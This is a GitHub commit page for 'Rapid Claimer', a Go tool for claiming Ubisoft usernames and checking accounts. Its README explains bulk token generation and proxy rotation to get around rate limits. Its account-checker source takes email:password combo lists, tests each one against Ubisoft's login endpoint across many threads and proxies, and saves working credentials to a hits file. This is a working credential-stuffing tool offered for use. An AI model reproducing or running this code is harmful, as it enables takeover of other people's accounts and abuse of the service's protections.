-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit ac32db8
Showing
24 changed files
with
60,924 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
MIT License | ||
|
||
Copyright (c) 2022 Tristan Simpson | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
# Rapid Claimer ![Stars](https://img.shields.io/github/stars/realTristan/RapidClaimer?color=brightgreen) ![Watchers](https://img.shields.io/github/watchers/realTristan/RapidClaimer?label=Watchers) | ||
![banner](https://user-images.githubusercontent.com/75189508/187748755-5cf9f773-6d38-4325-9eea-a3148ac56457.png) | ||
|
||
# ❓ About | ||
- Rapid Claimer is a lightning fast and easy-to-use ubisoft name claimer, account checker and name swapper. Follow the steps below to get started with using it! | ||
|
||
# 🔎 Name Claimer Usage | ||
**1.** If you have proxies, add them to the data/name_checker.proxies.txt file | ||
<br> | ||
|
||
**2.** Go to data/name_checker/names.txt and paste the names you want to check | ||
<br> | ||
↳ Each name on a new line | ||
<br> | ||
↳ To quickly generate 3/4 letter names visit http://www.unit-conversion.info/texttools/random-string-generator/ | ||
<br> | ||
|
||
**3.** Open rapid.exe and select option 3, the token generator | ||
<br> | ||
|
||
**4.** Next enter how many tokens you want to generate | ||
↳ I suggest generating 100+ tokens, without proxies you will be ratelimited after 7 tokens | ||
↳ You can see these newly generated tokens in the data/name_checker/tokens.txt file | ||
↳ Using Existing Accounts will generate tokens with accounts in data/tokens/token_accounts.txt | ||
<br> | ||
|
||
**5.** Close the program and re-open it then select option 1, the name claimer | ||
<br> | ||
|
||
**6.** Select how many threads you want to use | ||
↳ I suggest 1-100 | ||
<br> | ||
|
||
**7.** Done! You're now checking for available names and will claim them if they are available | ||
↳ The name claimer is proxyless at 1-2 threads, anything higher requires proxies | ||
↳ Available names will appear in data/name_checker/available.txt | ||
↳ Claimed names will appear in data/name_checker/claimed.txt | ||
|
||
# 📝 MongoDB | ||
![Capture](https://user-images.githubusercontent.com/75189508/187750772-7b531072-983c-4636-9bf3-9a86c80d80dc.PNG) | ||
![Capture2](https://user-images.githubusercontent.com/75189508/187750774-6b74e120-336f-49cf-8a1a-ae19bbd6d452.PNG) | ||
|
||
|
||
# License | ||
MIT License | ||
|
||
Copyright (c) 2022 Tristan Simpson | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,182 @@ | ||
package account_checker | ||
|
||
// Import Packages | ||
import ( | ||
"encoding/base64" | ||
"encoding/json" | ||
"fmt" | ||
"strings" | ||
"sync" | ||
"time" | ||
|
||
Global "rapid_name_claimer/global" | ||
Queue "rapid_name_claimer/queue" | ||
|
||
"github.com/gookit/color" | ||
"github.com/valyala/fasthttp" | ||
) | ||
|
||
// Define Global Variables | ||
var ( | ||
// Counter Variables | ||
hitCount, errorCount int = 0, 0 | ||
totalRequests int64 = 1 | ||
|
||
// Amount of accounts in combos.txt | ||
accountCount int64 = Global.FileNewLineCount("data/account_checker/combos.txt") | ||
|
||
// Account Combos Queue | ||
AccountQueue *Queue.ItemQueue = Global.AddToQueue(Queue.Create(), "data/account_checker/combos.txt") | ||
) | ||
|
||
// The LiveCounter() function is used to display all of | ||
// the stats for the account checker. This includes the | ||
// amount of hits, checked, errors, etc. | ||
func LiveCounter(programStartTime *int64, threadCount int) { | ||
var reqsPerSecond int64 = totalRequests / ((time.Now().Unix() - *programStartTime) + 1) | ||
color.Printf( | ||
"\033[H\033[2J\033[0;0H%s\n\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Accounts \033[1;97m[\033[1;33m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Threads \033[1;97m[\033[1;35m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Proxies \033[1;97m[\033[1;30m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Hits \033[1;97m[\033[1;32m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m CPS \033[1;97m[\033[1;36m%d/s\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m\033[1;37m\033[1;34m Checked \033[1;97m[\033[1;32m%d\033[1;97m]\033[1;34m\n\033[1;37m ┃ \033[1;34m Errors \033[1;97m[\033[1;31m%d\033[1;97m]\033[1;34m\n\n \033[1;31m%s", | ||
Global.RapidLogoString, accountCount, threadCount, Global.ProxyQueue.Size(), hitCount, reqsPerSecond, totalRequests, errorCount, Global.CurrentError) | ||
} | ||
|
||
// The CreateRequestObject() is used to create the fasthttp request | ||
// object that is being used for sending the http request to the | ||
// ubisoft api endpoint. | ||
func CreateRequestObject(auth string) *fasthttp.Request { | ||
// Define Variables | ||
var ( | ||
// Create the request object | ||
req *fasthttp.Request = Global.SetRequest("POST") | ||
|
||
// Marshal the body being sent in the request | ||
data, _ = json.Marshal(map[string]interface{}{"rememberMe": false}) | ||
) | ||
|
||
// Set the request url, headers and body | ||
req.SetRequestURI(fmt.Sprintf("%sv3/profiles/sessions", Global.GetCustomUrl())) | ||
req.Header.Set("Authorization", fmt.Sprintf("Basic %s", auth)) | ||
req.SetBody(data) | ||
|
||
// Return the request object | ||
return req | ||
} | ||
|
||
// The HandleResponse() function is used for handling the validation | ||
// response from HandleEmailCheckResponse(). I decided to use | ||
// the validation endpoint and this to prevent ratelimiting the shit | ||
// out of the login endpoint. | ||
func HandleValidateResponse(RequestClient *fasthttp.Client, account string) { | ||
Global.SetProxy(RequestClient) | ||
|
||
// Define Variables | ||
var ( | ||
// Base64 the account email:password | ||
auth string = base64.StdEncoding.EncodeToString([]byte(account)) | ||
|
||
// Create the request object | ||
req *fasthttp.Request = CreateRequestObject(auth) | ||
|
||
// Create the response object | ||
resp *fasthttp.Response = Global.SetResponse(false) | ||
|
||
// Send the http request | ||
err error = RequestClient.DoTimeout(req, resp, time.Second*6) | ||
) | ||
// Release the request and response as | ||
// they are both no longer needed after the | ||
// function is returned | ||
defer fasthttp.ReleaseRequest(req) | ||
defer fasthttp.ReleaseResponse(resp) | ||
|
||
// If no errors occured and the response status code is 200 (success) | ||
if resp.StatusCode() == 200 && err == nil { | ||
|
||
// Write the combo to the hits.txt file | ||
go Global.WriteToFile("data/account_checker/hits.txt", &account) | ||
hitCount++ | ||
} else { | ||
|
||
// Set the current error if the error isn't nil | ||
// and the status code doesn't equal 401 (invalid credentials code) | ||
if err != nil || resp.StatusCode() != 401 { | ||
Global.CurrentError = fmt.Sprintf(" >> Session Login Error: %d: %v: %s", resp.StatusCode(), err, string(resp.Body())) | ||
errorCount++ | ||
} | ||
} | ||
} | ||
|
||
// The HandleEmailCheckResponse() function is used for checking | ||
// whether the combo's email is already registered. | ||
// If it is, then call the HandleValidateResponse() function | ||
// in a goroutine for logging into the account | ||
func HandleEmailCheckResponse(RequestClient *fasthttp.Client, account string, resp *fasthttp.Response, err error) { | ||
totalRequests++ | ||
|
||
// If the error is nil and the status code is 200 (success) | ||
if err == nil && resp.StatusCode() == 200 { | ||
|
||
// Check if the response body contains the string | ||
// determining whether the email is already registered | ||
var body string = string(resp.Body()) | ||
if Global.Contains(&body, "email address already registered") { | ||
// Run the handler function | ||
go HandleValidateResponse(RequestClient, account) | ||
return | ||
} | ||
} else { | ||
|
||
// Set the current error and increase the error count | ||
Global.CurrentError = fmt.Sprintf(" >> Email Check Error: %d: %v: %s", resp.StatusCode(), err, string(resp.Body())) | ||
errorCount++ | ||
} | ||
// Release the response object as it's | ||
// no longer being used | ||
fasthttp.ReleaseResponse(resp) | ||
} | ||
|
||
// The Start() function is used to start all of | ||
// the goroutines and functions that are used | ||
// for checking the accounts in combos.txt | ||
func Start(threadCount int) { | ||
// Define Variables | ||
var ( | ||
// Used for tracking requests per second | ||
programStartTime int64 = time.Now().Unix() | ||
|
||
// Wait group for goroutines | ||
waitGroup sync.WaitGroup = sync.WaitGroup{} | ||
) | ||
waitGroup.Add(1) | ||
|
||
// Iterate over the threadCount | ||
for i := 0; i < threadCount; i++ { | ||
|
||
// Run everything below in a goroutine | ||
go func() { | ||
// Request Client for sending http requests | ||
var RequestClient *fasthttp.Client = Global.SetClient((&fasthttp.TCPDialer{Concurrency: 4096}).Dial) | ||
// Infinite loop | ||
for { | ||
// Display the checker info | ||
LiveCounter(&programStartTime, threadCount) | ||
|
||
// If the account queue isn't empty | ||
if !AccountQueue.IsEmpty() { | ||
// Define Variables | ||
var ( | ||
// Get the combo from the account queue | ||
account string = fmt.Sprint(*AccountQueue.Grab()) | ||
|
||
// Send the validation request using the request client and email | ||
resp, err = Global.AccountValidationRequest(RequestClient, strings.Split(account, ":")[0]) | ||
) | ||
// Handle the above response | ||
go HandleEmailCheckResponse(RequestClient, account, resp, err) | ||
} else { | ||
return | ||
} | ||
} | ||
}() | ||
} | ||
waitGroup.Wait() | ||
} |
Oops, something went wrong.